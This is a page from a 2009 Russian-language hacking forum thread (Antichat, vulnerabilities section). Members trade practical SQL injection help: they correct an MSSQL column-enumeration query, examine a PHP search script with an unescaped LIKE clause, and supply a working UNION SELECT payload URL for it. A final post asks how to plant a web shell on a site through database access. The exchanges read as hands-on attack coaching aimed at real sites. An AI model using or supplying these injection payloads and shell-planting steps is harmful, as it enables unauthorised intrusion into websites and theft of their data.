HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #9451  
Старый 18.10.2009, 17:42
min7
Участник форума
Регистрация: 03.09.2005
Сообщений: 123
Провел на форуме:
1896022

Репутация: 259
По умолчанию

попробуй в hex закодировать, в твоём случае users будет 0x7573657273
 
Ответить с цитированием

  #9452  
Старый 18.10.2009, 17:47
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

Цитата:
Сообщение от Quiklys  
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'users') AND name IN NOT ('userid')
В ответ получаю:
надо писать не IN NOT
а NOT IN

2 min7 бред, это mssql
 
Ответить с цитированием

  #9453  
Старый 18.10.2009, 17:47
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Отписал в пм
min7, во-первых, users это имя таблицы, а не строка, во-вторых 0x... в MSSQL работать не будет (нужны дополнительные конструкции на T-SQL)
 
Ответить с цитированием

  #9454  
Старый 18.10.2009, 19:08
Quiklys
Новичок
Регистрация: 29.09.2009
Сообщений: 5
Провел на форуме:
22892

Репутация: 0
По умолчанию

Огромное всем спасибо!
После того как загнал в char userid, он начал просто отображаться.

Цитата:
Conversion failed when converting the varchar value 'userid' to data type int.

Последний раз редактировалось Quiklys; 18.10.2009 в 19:18..
 
Ответить с цитированием

  #9455  
Старый 18.10.2009, 19:27
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

Код:
$text=$_POST['text'];
$tr=$_POST['tr'];
$tr_text=$_POST['tr_text'];
if (empty($text)){echo"<div class=cont1>Введите ключевое слово!<br/></div><div class=menu><a href=\"search.php\">Назад</a></div>"; 
include "footer.php";
exit;}
if($tr_text==1){include_once "trans.php"; 
$text=eng_to_rus($text);}

//$text=strtolower($text);

if($tr==1){
$arr=mysql_query("select uid,site_name,link,info,cat from `users` where info like '%$text%' ;");
}
Возможно ли тут произвести SQL inj ?
Меня просто вот это смущает
Код:
select uid,site_name,link,info,cat from `users` where info like '%$text%' ;
 
Ответить с цитированием

  #9456  
Старый 18.10.2009, 20:21
Gray_Wolf
Постоянный
Регистрация: 07.03.2009
Сообщений: 357
Провел на форуме:
1284900

Репутация: 399
По умолчанию

Цитата:
Сообщение от SeNaP  
Возможно ли тут произвести SQL inj ?
Меня просто вот это смущает
Код:
select uid,site_name,link,info,cat from `users` where info like '%$text%' ;
Ну просто в поле tr_text вводи 0 в tr вводим 1, а в text нашу скулю...
 
Ответить с цитированием

  #9457  
Старый 18.10.2009, 20:32
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

Цитата:
Сообщение от Gray_Wolf  
Ну просто в поле tr_text вводи 0 в tr вводим 1, а в text нашу скулю...
А как с LIKE быть?
Пытаюсь подставит ' не выводит ни какой ошибки, т.е. производится поиск ковычки в БД.
Пытался так
Код:
'union+select+1--
и т.д.
Чёт вообще мозг отказывается работать
 
Ответить с цитированием

  #9458  
Старый 18.10.2009, 20:41
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию

пости в $_POST['text'] - %
и про $_POST['tr'] не забудь так как без него запрос не выполнится.
 
Ответить с цитированием

  #9459  
Старый 18.10.2009, 21:01
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Цитата:
Сообщение от SeNaP  
Код:
$text=$_POST['text'];
$tr=$_POST['tr'];
$tr_text=$_POST['tr_text'];
if (empty($text)){echo"<div class=cont1>Введите ключевое слово!<br/></div><div class=menu><a href=\"search.php\">Назад</a></div>"; 
include "footer.php";
exit;}
if($tr_text==1){include_once "trans.php"; 
$text=eng_to_rus($text);}

//$text=strtolower($text);

if($tr==1){
$arr=mysql_query("select uid,site_name,link,info,cat from `users` where info like '%$text%' ;");
}
Возможно ли тут произвести SQL inj ?
Меня просто вот это смущает
Код:
select uid,site_name,link,info,cat from `users` where info like '%$text%' ;
.php?tr=1&text=%' and info = -1 union select 1,2,3,4,5--+

ЗЫ l1ght, я знаю что постом) есть плагины которые позволяют из строки браузера отправлять постом

Последний раз редактировалось .Slip; 18.10.2009 в 21:25..
 
Ответить с цитированием

  #9460  
Старый 18.10.2009, 21:53
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766

Репутация: 61
По умолчанию

Привет, почти повторяюсь. Растолкую поточнее

Есть 2 сервера (2 разные машины)
1 с сайтом
2 с БД

Есть доступ к БД
А сайт использует эту БД
Задача залить шелл на сайт через БД

Если допустим в БД заношу <? eval(echo 1; ?> то на сайте так и выводит, не обрабатывая
На сайте знаю полный путь.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ